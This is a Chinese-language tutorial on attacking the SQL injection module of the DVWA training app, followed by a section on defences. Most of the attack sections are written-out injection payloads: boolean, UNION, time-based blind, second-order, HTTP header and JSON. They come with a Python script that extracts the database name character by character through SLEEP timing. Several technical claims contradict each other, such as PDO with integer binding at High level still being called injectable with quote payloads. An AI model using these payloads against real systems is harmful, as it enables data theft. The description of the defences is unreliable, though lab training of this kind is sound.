1. DVWA SQL注入实验概述
DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用程序,它包含了多种常见Web漏洞的模拟环境。其中SQL注入模块设置了从Low到High四个难度级别,每个级别都实现了不同的防护措施。本实验将重点分析Medium和High级别的防护机制及其绕过方法。
Medium级别在Low基础上增加了以下防护:
- 对用户输入进行了mysql_real_escape_string()转义处理
- 限制了部分特殊字符的使用
- 采用了数字型参数处理
High级别则进一步强化了防护:
- 使用了预处理语句(PDO)
- 实施了严格的字符过滤
- 加入了CSRF令牌验证
实验环境准备:需预先安装配置好DVWA(建议使用Kali Linux内置版本或Docker部署),将安全级别调整为对应难度。测试账号通常为admin/password。
2. Medium级别绕过技术详解
2.1 数字型注入特征分析
Medium级别虽然使用了mysql_real_escape_string(),但由于处理的是数字型参数,转义机制存在天然缺陷。通过Burp Suite抓包可见参数传递形式:
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1关键验证代码如下:
$id = $_GET['id']; $id = mysql_real_escape_string($id); $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";2.2 绕过方案实测
方案1:算术表达式注入
1+1 → 等效于2 1-1 → 等效于0 1%2F1 → 除法运算(URL编码后)方案2:位运算注入
1|1 → 按位或 1&1 → 按位与 ~1 → 按位取反方案3:科学计数法注入
1e0 → 1×10^0 1E1 → 1×10^1实测payload示例:
1 AND (SELECT COUNT(*) FROM information_schema.tables) > 0 1 OR ASCII(SUBSTRING(database(),1,1)) > 972.3 信息获取技巧
分步获取数据库信息:
- 确定数据库版本:
1 AND @@version LIKE '5%'- 获取表名:
1 AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE 'a%'- 提取字段内容:
1 AND (SELECT CONCAT(user,':',password) FROM users LIMIT 0,1) LIKE 'admin%'注意事项:Medium级别会拦截部分特殊符号,建议使用LIKE替代=,用CONCAT_WS替代CONCAT避免逗号过滤。
3. High级别突破方法
3.1 会话限制分析
High级别引入了CSRF令牌和严格的输入验证:
$id = $_SESSION['id']; $stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT);3.2 二次注入技术
虽然直接注入被阻断,但可通过以下步骤实现攻击:
- 在用户注册等环节插入恶意数据
- 利用应用程序自身逻辑触发恶意SQL
- 典型payload:
admin' AND (SELECT 1 FROM (SELECT SLEEP(5))x)--3.3 时间盲注实现
当常规注入失效时,可采用基于时间的盲注:
1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)--使用Python自动化检测脚本:
import requests import time url = "http://dvwa.test/vulnerabilities/sqli/" cookies = {"PHPSESSID": "your_session_id", "security": "high"} def check_char(pos): for i in range(32, 127): payload = f"1' AND IF(ASCII(SUBSTRING(database(),{pos},1))={i},SLEEP(2),0)-- " start = time.time() requests.get(url, params={"id": payload, "Submit": "Submit"}, cookies=cookies) if time.time() - start > 1.5: return chr(i) return None4. 防御方案设计
4.1 输入验证策略
白名单验证示例:
if (!preg_match('/^[0-9]+$/', $_GET['id'])) { die("Invalid input"); }类型强制转换:
$id = (int)$_GET['id'];4.2 预处理语句最佳实践
PDO正确用法:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);存储过程示例:
CREATE PROCEDURE get_user(IN uid INT) BEGIN SELECT * FROM users WHERE id = uid; END4.3 深度防御措施
- 应用层防护:
- 实施最小权限原则
- 启用SQL日志审计
- 使用ORM框架
- 系统层防护:
- 配置WAF规则
location / { ModSecurityEnabled on; ModSecurityConfig modsecurity.conf; }- 定期更新数据库补丁
- 开发规范:
- 禁止动态拼接SQL
- 统一使用参数化查询
- 进行安全代码审查
5. 实战问题排查指南
5.1 常见错误现象
| 现象 | 可能原因 | 解决方案 |
|---|---|---|
| 500错误 | 特殊字符未转义 | 检查magic_quotes设置 |
| 无结果返回 | 过滤规则拦截 | 尝试编码绕过 |
| 结果截断 | 长度限制 | 使用SUBSTRING分批获取 |
5.2 性能优化技巧
- 减少查询次数:
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()- 使用二进制搜索加速盲注:
def binary_search(pos): low, high = 32, 127 while low <= high: mid = (low + high) // 2 payload = f"1' AND ASCII(SUBSTRING(database(),{pos},1))>{mid}-- " if check_condition(payload): low = mid + 1 else: high = mid - 1 return chr(low)5.3 高级绕过技术
HTTP参数污染:
?id=1&id=2' UNION SELECT 1,2--JSON注入:
{"id":"1' UNION SELECT 1,2-- "}HTTP头部注入:
X-Forwarded-For: 127.0.0.1' AND (SELECT 1 FROM users WHERE user='admin')--在实际渗透测试中,这些技术需要根据具体场景组合使用。建议先在测试环境充分验证,避免对生产系统造成影响。